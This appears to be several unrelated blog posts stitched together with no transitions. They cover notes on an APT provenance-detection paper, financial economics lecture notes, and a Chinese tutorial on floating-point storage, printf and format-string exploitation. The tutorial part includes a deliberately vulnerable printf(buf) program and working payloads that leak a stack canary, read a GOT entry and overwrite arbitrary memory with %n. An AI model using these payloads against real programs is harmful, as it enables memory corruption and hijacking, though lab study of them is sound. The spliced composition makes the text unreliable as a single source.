后面还有一些其他的内容，比如作者提到动态测试覆盖不全可能会miss loop，或者上面规则不够完备还是可能关联上low level的dependence进来，最后还给了建立provence的算法。不过我觉得精华都在unit在这部分。

Overview

这篇论文亮点是引入一个中间层把低维度的审计日志（通常它他们是各个程序的syscall日志），映射到高纬度的APT kill chain信息。

高纬度kill chain

引入中间层TTPs, HSG

此外还引入了一些剪枝的策略

1. We show how this concept can help to assess the strength of dependencies between HSG nodes. Weak dependencies can then be pruned away to eliminate many false alarms.
2. Second, we develop noise reduction techniques that further de-emphasize dependencies that are known to be associated with benign activities.
3. Third, we develop ranking and prioritization techniques to prune away most nodes and edges unrelated to the APT campaign.

TTPs(Tactics, Techniques and Procedure)的构建

from Audit Logs，会引入一些规则，比如下面这个例子。

会引入一些规则，比如有监控到read的系统调用，从非信任IP读取数据，那么就把它记做一个Unstrusted_Read(S, P)对。S是socket, P是进程。

如果有一个P, 他申请了可执行的内存，并且这个P和Unstrusted_Read(S, P’)中的P’有关系（path_factor）那么，就把这个P加入Make_Mem_Exec(P,M)对中。

注：path_factor怎么算后面会讲。

上面的两个Make_Mem_Exec和Make_Mem_Exec会被归为高纬度，对应APT kill chain的Initial_Compromoise。

HSG(high-level scenario graph)的构建

这部分其实很简单，每一个TTP是一个小节点，节点之前是否连线就是他们是否有prerequisites里面的关系。

ATP Stage是一个大节点。

HSG剪枝技术

Avoiding Spurious Dependencies

这里引入了弱关联和强关联的概念，比如下图的中nginx error.log。cat和nginx就是弱关联，可能黑客通过nginx入侵过程中产生了一些日志，然后被管理员用cat读到了。

所以作者在这里形式化的引入一个ancestral cover AC(f)，它是由∀p ∈ f ∃a ∈ AC(f) a = p or a is an ancestor of p 所定义。

一个信息流f的每一个p，把这个p和它的祖先进程都加入一个集合，这个集合就是AC(f)。接着引入一个ACmin(f)的概念代表size最小的AC(f)。

注：这里类似于一个最大公约数的概念，如果nginx和cat由一个共同的祖先进程那么ACmin(f)就是1。显然这里nginx和cat并没有，所以ACmin(f)就是2。

因为一个node1到另一个node2可能有多条路径，f1, …, fn。每一个，路径都会有一个ACmin(f)，而这些ACmin(f)中最小的那个值就是上面path_factor想表达的东西。

path_factor(N1, N2) = minimum AC(f) of per path。

评论：看下来就是判断两个进程是否有共同的祖先，不知道为什么要搞得这么复杂。

Noise reduction based on benign prerequisites.

作者认为一些长时间运行的良性进程可能也会触发TTP的规则，所以他会预先观察程序在良性环境情况触发TTPs的情况然后加成规则排除他们。

但是这样其实又会引入漏报，比如万一真的nginx在启动时会读/etc/passwd，然后他被当白样本学习了，造成黑客真的打进来的时候被忽略。

所以作者又提出，可以根据从/etc/passwd读出的大小来判断 -> 读一次时正常，老是读就不正常了。

评论：感觉这就是一个笨办法，需要一个进程case by case的优化。

Signal Correlation and Detection

因为kill chain有7步，所以会根据每一步最大的那个risk level，放进元组<S1, S2, S3, …, S7>

然后根据这个元组算出一个分。

基于两个主要标准设计的：(1) 灵活性和定制化，以及 (2) 随着步骤展开，APT步骤的相关性反映在分数的放大上。

评论：这一步看起来还挺科学的

完整的TTPs

I. Introduction to Financial Economics

A. Definition and Scope

• Financial Economics: The branch of economics focuses on assigning financial assets efficiently.
• Core task: Understanding and determining the pricing of financial assets.

B. Key Concepts

1. Assets: Claims on future economic benefits.

2. Two critical dimensions in financial behavior:

   1. Intertemporal nature of decisions
   2. **Uncertainty (risk) **associated with future outcomes

II. Overview of Financial Markets

A. Basic Structure

1
2

Funds Suppliers (Asset Buyers) → Investment → Funds Demanders (Asset Sellers)  
                                ← Return ←  

B. Key Focus

• Central question: Determining asset prices
• Pricing mechanism: Driven by supply and demand, which are derived from human behavior
• Challenges: Human behavior is dynamic and uncertain

C. Corporate Finance

• Special case: When asset sellers are corporations

III. Approaches in Financial Economics

A. Equilibrium Pricing

• Method: Build a model incorporating human preferences and constraints to deduce behavior and determine supply and demand.
• Advantage: Can determine asset prices from fundamental principles.
• Disadvantage: Relies on assumptions that may be inaccurate or oversimplified.

B. No-Arbitrage Pricing

• Method: Deduce asset prices based on known prices of other assets.

C. Financial Frictions Analysis

• Focus areas: Information asymmetry, period mismatch

D. Behavioral Finance

• Approach: Incorporates “irrational” factors to better understand the behavior of market participants.

IV. Market Efficiency and Behavioral Finance

• Question of market efficiency remains central to financial economics.
• Behavioral finance helps explain deviations from traditional rational models.

V. Assets and Rate of Return

A. Basic Model: Single-Period Binary Tree

• Current price: P

• Future payoffs:

  • Xu (probability q)
  • Xd (probability 1-q)

B. Key Questions

1. Given Xu and Xd, how to determine P?

2. What determines Xu and Xd? (Beyond the scope of financial economics)

   1. Industry factors
   2. Business strategies
   3. Competitive landscape
   4. Management aspirations
   5. Macroeconomic conditions
   6. Geopolitical factors

C. Return Calculations

• Upside return: ru = (Xu/P) - 1
• Downside return: rd = (Xd/P) - 1
• Expected return: E(r) = q*ru + (1-q)*rd = E(x)/P - 1

D. Price-Return Relationship

• Inverse relationship between price (P) and expected return E(r)
• Higher asset price → Lower expected return
• Lower asset price → Higher expected return

E. Risk-Return Trade-off

• “Good” assets typically have higher prices but lower expected returns
• “Bad” (riskier) assets typically have lower prices but higher expected returns
• Market equilibrium tends to balance risk and return across assets

VI. Equilibrium Pricing (Absolute Pricing)

A. Concept

• Price is determined by the interaction of supply, demand, and behavior (under uncertainty/risk)
• Aims to price assets from fundamental principles

B. Expected Utility Theory

• Addresses limitations of simple expected value calculations

• Example: St. Petersburg paradox (where E = ∞)

  • Demonstrates why expected value alone is insufficient for decision-making

C. Risk and Asset Pricing: An Example

1. Steel Company:

   1. Current price: Ps
   2. Future dividends: 50% chance of 25,15

2. Pharmaceutical Company:

   1. Current price: Pp
   2. Future dividends: 50% chance of 40,0

Despite pharmaceutical companies having higher variance (risk), Pp should typically be higher than Ps. This counterintuitive result stems from the potential for higher returns, not just the risk involved.

D. Performance Evaluation: Beyond Simple Metrics

Consider two portfolio managers:

• Manager A: Average return rA = 10%, standard deviation σA

• Manager B: Average return rB = 8%, standard deviation σB

• If σA < σB, can we conclude A is better than B?

  • Not necessarily. Must consider risk-adjusted returns and investor preferences.

VII. No-Arbitrage Pricing (Relative Pricing)

A. Concept

• Based on the Law of One Price (LOOP)
• Riskless profit opportunities violate LOOP

B. Examples

1. Fast Food Combo:

   1. If Hamburg = 1 and Coke=1, then (Hamburg, Coke) combo should = $2
   2. Any deviation creates arbitrage opportunity

2. Investment Box:

   1. Box transforms 1 into 1.02 (2% return)

   2. Bank deposit rate = 3%

   3. Box value?

      • Not zero, despite lower return than bank
      • Option value exists if interest rates fall below 2% in future

C. Replication and Hedging

• Core of no-arbitrage pricing: Replicating cash flows
• Enables hedging strategies
• Fundamental to modern financial innovations

VIII. Financial Frictions

A. Maturity Mismatch

• Lenders prefer liquidity (short-term)
• Borrowers need stability (long-term)
• Example: Construction projects require stable, long-term funding

B. Role of Financial Intermediaries

• Banks transform short-term deposits into long-term loans
• Crucial for economic stability and growth

IX. Market Efficiency and Behavioral Finance

A. Efficient Market Hypothesis (EMH)

• Fama’s theory: Markets rapidly incorporate all available information
• Implies no persistent arbitrage opportunities

B. Challenges to EMH

• Shiller’s counterarguments

• Behavioral Finance insights:

  • Irrationality: e.g., overconfidence bias
  • Limited arbitrage: Practical limits to exploiting mispricings

C. Martingale Concept

• Mathematical foundation for fair games and efficient markets

Key Takeaways from Lecture 1

1. Financial Economics focuses on the efficient allocation of financial assets and understanding asset pricing.
2. The field employs various approaches: equilibrium pricing, no-arbitrage pricing, and consideration of financial frictions.
3. Understanding risk, return, and their relationship is crucial in asset valuation.
4. Market efficiency and behavioral factors play significant roles in financial markets.
5. Both absolute (equilibrium) and relative (no-arbitrage) pricing methods are essential tools in financial economics.
6. Financial frictions, such as maturity mismatches, highlight the importance of financial intermediaries.

文中各种图片引用自不同的blog都附在参考链接里面了，侵删。

浮点数的存储

单精度浮点数 (single precision floating point) 的表示方式遵循 IEEE 754 标准。这种表示方式由32位组成：

• 1位用于符号位 (sign bit)
• 8位用于指数 (exponent)
• 23位用于尾数 (mantissa or significand)

双精度类似，此时指数位有11，尾数有52

手工转换的思路是分别把整数部分和小数部分换成二进制，然后缩放成1.X * 2^n的二进制版本科学计数法。此时

.X部分为尾数部分，n为阶码需要加上127，如果n为1那么指数位就是127+1 = 128。之所以会有这个规定，是为了考虑到n为负数的情况（只考虑正数的情况，十进制下小于1）。

下面以8.5存储为单精度为例

• 8.5 是正数，所以符号位为 0。

• 整数部分是 8，转换为二进制是 1000。

• 小数部分是 0.5。将其转换为二进制：

  • 0.5 × 2 = 1.0，整数部分是 1

• 所以，0.5 的二进制是 0.1。

• 8.5 的二进制表示为 1000.1。

• 将二进制数表示为规范化形式：1.0001 × 2^3。

• 指数是 3，加上偏移量 127，得到 130。

• 130 的二进制表示为 10000010。

• 尾数是规范化形式中小数点后的部分：0001，补足到 23 位：00010000000000000000000

• 符号位 + 指数 + 尾数 = 0 10000010 00010000000000000000000。

浮点数的分类

当然其实上面介绍的只是浮点数的一种类型的求值方式：规格化浮点数。

浮点数有三种分类，这篇文章总结非常好直接抄过来

1. 规格化浮点数

   1. 此时指数位范围是1至254，因此对应阶码的范围则为-126至127
   2. 尾数位是一个小于1的小数，在计算真实浮点数字的时候需要+1 （真实的尾数M = 1 + f）。相当于我们省掉了1位二进制，形成了浮点数表示的约定，默认尾数的值还有一个最高位的1。

2. 非规格化浮点数，

   1. 指数位全为0
   2. 非规格化的方式与规格化不同，它不会对尾数进行加1的处理，也就是说，真实的尾数M = f。这是为了能够表示0这个数值，否则的话尾数总是大于1，那么无论如何都将得不到0这个数值。

3. 特殊值

   1. 在阶码全为1时，如果尾数位全为0，则表示无穷大。符号位为0则表示正无穷大，相反则表示负无穷大。
   2. 倘若尾数位不全为0时，此时则表示NaN，表示不是一个数字。
   3. 这一点在Javascript当中有一个相关的函数与这个NaN的含义有点类似，它的作用是用来判断一个参数是否是一个数字。

由此可以看出来，浮点数的取值范围。

举个例子非规格化浮点数（考虑单精度，正数）

1. 非规格化数的最小值 = 2^-23 * 2^-126 = 2 ^ -149
2. 非格式化数最大值 = (2^-1 + 2^-2 + … + 2 ^ -23)* 2^-126 = (1−2^-23) * 2^-126

引用结论

通过上面的分析可以发现，尽管浮点数表示的范围很广，但由于精度损失的存在，加上幂次的放大作用，一个浮点数实际上是表示了周围的一个有理数区间。如果将浮点数绘制到一个数轴上，直观上看，靠近0的部分，浮点数出现较密集。越靠近无穷大，浮点数分布越稀疏，一个浮点值代表了周围一片数据。从这个意义上来说，浮点数不宜直接比较相等，它们是代表了一个数据范围。实际应用中，如果要使用浮点数计算，一定要考虑精度问题。在满足精度要求的前提下，计算结果才是有效的。 在计算精度要求情形下，例如商业计算等，应该避免使用浮点数，严格采取高精度计算。

再啰嗦一句，帮助理解，也就是这里非规格化数的最小值2 ^ -149代表了 0到2 ^ -149之间的所有正数。

浮点数的精度

单精度浮点数的精度主要由尾数部分决定。由于尾数有23位，加上隐含的1位，总共有24位的有效数字。

现在，我们来计算这 24 位二进制数可以表示多少位十进制有效数字：log₁₀(2²⁴) ≈ 7.22

这意味着单精度浮点数理论上可以精确表示大约 7位十进制有效数字，这里再对有效数字做一个定义

• 非零数字总是有效数字。
• 在非零数字之间的零是有效数字。
• 小数点左边的前导零不是有效数字。
• 小数点右边的尾随零可能是有效数字，这取决于测量的精度

再看prinf

抄这篇文章的题目，读者可以思考一下输出是什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

#include <stdio.h>
int main(void)
{
    int a = 4;
    int b = 3;
    int c = a/b;
    float d =  *(float*)(&c);
    long long e = 0xffffffffffffffff;
    printf("a/b:%f，a:%d\n",a/b,a,b);          //打印0

    printf("(float)a/b:%f\n",((float)a)/b);   //打印1

    printf("(double)a/b:%lf\n",((double)a)/b);//打印2

    printf("d:%f\n",d);                       //打印3

    printf("%.*f\n",20,(double)a/b);          //打印4

    printf("e:%d,a:%d\n",e,a);                //打印5

    printf("a:%d,++a:%d,a++:%d\n",a,++a,a++); //打印6

    return 0;
}

运行的结果是

1
2
3
4
5
6
7

a/b:0.000000，a:1
(float)a/b:1.333333
(double)a/b:1.333333
d:0.000000
1.33333333333333325932
e:-1,a:4
a:6,++a:6,a++:4

第一次看到这个题的时候，感觉很奇怪，printf("a/b:%f，a:%d\n",a/b,a,b); 。这里格式化字符串里面只有两位，为什么要传入三个参数。

所以这里我们主要关注打印0-2涉及到的知识点

1. 每个参数执行“默认实际参数提升”

   1. 提升规则如下: float将提升到double
   2. char、short和相应的signed、unsigned类型将提升到int

2. printf实际上只会接受到double，int，long int等类型的参数。而从来不会实际接受到float，char，short等类型参数。

我们gdb调试结果来佐证一下。

格式化字符串漏洞

先来看一下prinf支持的各种参数

• %d 或 %i：整数
• %u：无符号整数
• %f：浮点数
• %x：十六进制整数（小写）
• %X：十六进制整数（大写）
• %o：八进制整数
• %s：字符串
• %c：字符
• %p：指针地址
• %n：写入的字符数

格式化字符串泄漏栈上内存数据

这种套路，一般用%08x, %p来泄漏栈上数据。举一个leak cannary的例子。

1
2
3
4
5
6
7

#include <stdio.h>

void main() {
    char buf[50];
    if(fgets(buf, sizeof buf, stdin) == NULL) return;
    printf(buf);
}

1

gcc -g -Wall -fstack-protector-all -o program_with_canary program.c

Cannary会被从QWORD PTR fs:0x28放到栈上，然后我们用%p来读，一个%p读8字节的内存。

实际需要多少个可以通过gdb或静态分析来算。这里给用14个就行了。

格式化字符串泄漏任意地址数据

这种套路一般用来泄漏got表数据，先构想读地址的值在栈上，然后调用%s去读这个地址。

因为这个地址需要在栈上，所以这里为方便用32位程序演示。这个值肯定和printf的第一个参数有一些偏移。所以最后我们需要用%n$s这种“加强版”的%s去读到偏移。

1

gcc -g -m32 -Wall -fno-stack-protector -o vulnerable_program program.c

先来读一下GOT表

1
2

readelf -r vulnerable_program | grep fget
0804c010  00000207 R_386_JUMP_SLOT   00000000   fgets@GLIBC_2.0

和刚才思路类似，先用以一坨%p看一下偏移

1

AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p

这里AAAA被断开了，所以我们还需要padding一下

1

PPAAAA%p %p %p %p %p %p %p %p %p %p %p %p %p %p

所以我只需要用%8$s即可以读到GOT表地址

1

python3 -c 'import sys; sys.stdout.buffer.write(b"PP\x10\xc0\x04\x08%8$s\n")'  

1
2

b main
run < text

格式化字符串向任意地址写入数据

这种要结合%n来利用，先来看一下%n的用法。

1
2
3
4
5
6
7

#include <stdio.h>

void main() {
    int i;
    printf("AAAA%n\n", &i);
    printf("%d\n", i);
}

printf解析到%n会把输出的字符串的长度放在i中。

在漏洞利用中，类似于我们用\x10\xc0\x04\x08%8$s去偏移8处读\x10\xc0\x04\x08地址的值。我门用\x10\xc0\x04\x08%8$n去偏移8处的\x10\xc0\x04\x08地址写入打印出来的字符个数。这样我们只要控制打印字数就可以控制任意地址的值了。

1

python3 -c 'import sys; sys.stdout.buffer.write(b"PP\x10\xc0\x04\x08%8$n\n")'

修改前 p *0x0804c010

修改后

这里我们只输出六个字符，太少了。实际利用肯定要写入一个地址(比如one gadget的地址)，这个地址一般都很大比如0x80c0ffff，所以需要结合printf的对齐语法来写入大值。

假设第10个偏移是0x0804c010，那我们理论上就可以把地址0x0804c010写入0x08ffffff的值

1

python3 -c 'import sys; sys.stdout.buffer.write(b"%150994943d%12$nAA\x10\xc0\x04\x08\n")' > te

在输出大量padding过后成功修改完地址

这种方法简单粗暴，但更优雅的方式是逐字节修改。

依次对0804c010写入0xff，0804c011写入0xff，0804c012写入0xff，0804c013写入0x08

附 non pie 与 ASLR

程序是no pie的就算操作系统开了ASLR也没用？

1. ASLR（Address Space Layout Randomization）：

   1. 这是一个操作系统级别的安全特性。
   2. 它随机化进程的内存布局，包括堆、栈、共享库的加载位置等。

2. PIE（Position Independent Executable）：

   1. 这是一个编译时的选项。
   2. 它使可执行文件的代码段也能被随机化。

3. ASLR 和 no-PIE 的组合效果：

   1. 如果程序是 no-PIE 的（非位置独立可执行文件），但操作系统开启了 ASLR：

      • 程序的代码段（.text）将会在固定的地址加载。
      • 但是，堆、栈、共享库等仍然会被随机化。

附 python字符集的坑

1
2
3

parallels@parallels-Parallels-Virtual-Platform:~/Desktop$ python3 -c 'print("PP\x10\xc0\x04\x08%7$s")'  > text
parallels@parallels-Parallels-Virtual-Platform:~/Desktop$ cat text |xxd
00000000: 5050 10c3 8004 0825 3724 730a            PP.....%7$s.

参考

https://blog.csdn.net/dreamer2020/article/details/24158303

https://www.yanbinghu.com/2018/12/02/10796.html

https://www.cnblogs.com/jillzhang/archive/2007/06/24/793901.html

https://blog.csdn.net/weixin_42250302/article/details/108287860

https://www.cnblogs.com/zuoxiaolong/p/computer11.html

https://github.com/firmianay/CTF-All-In-One/blob/master/SUMMARY.md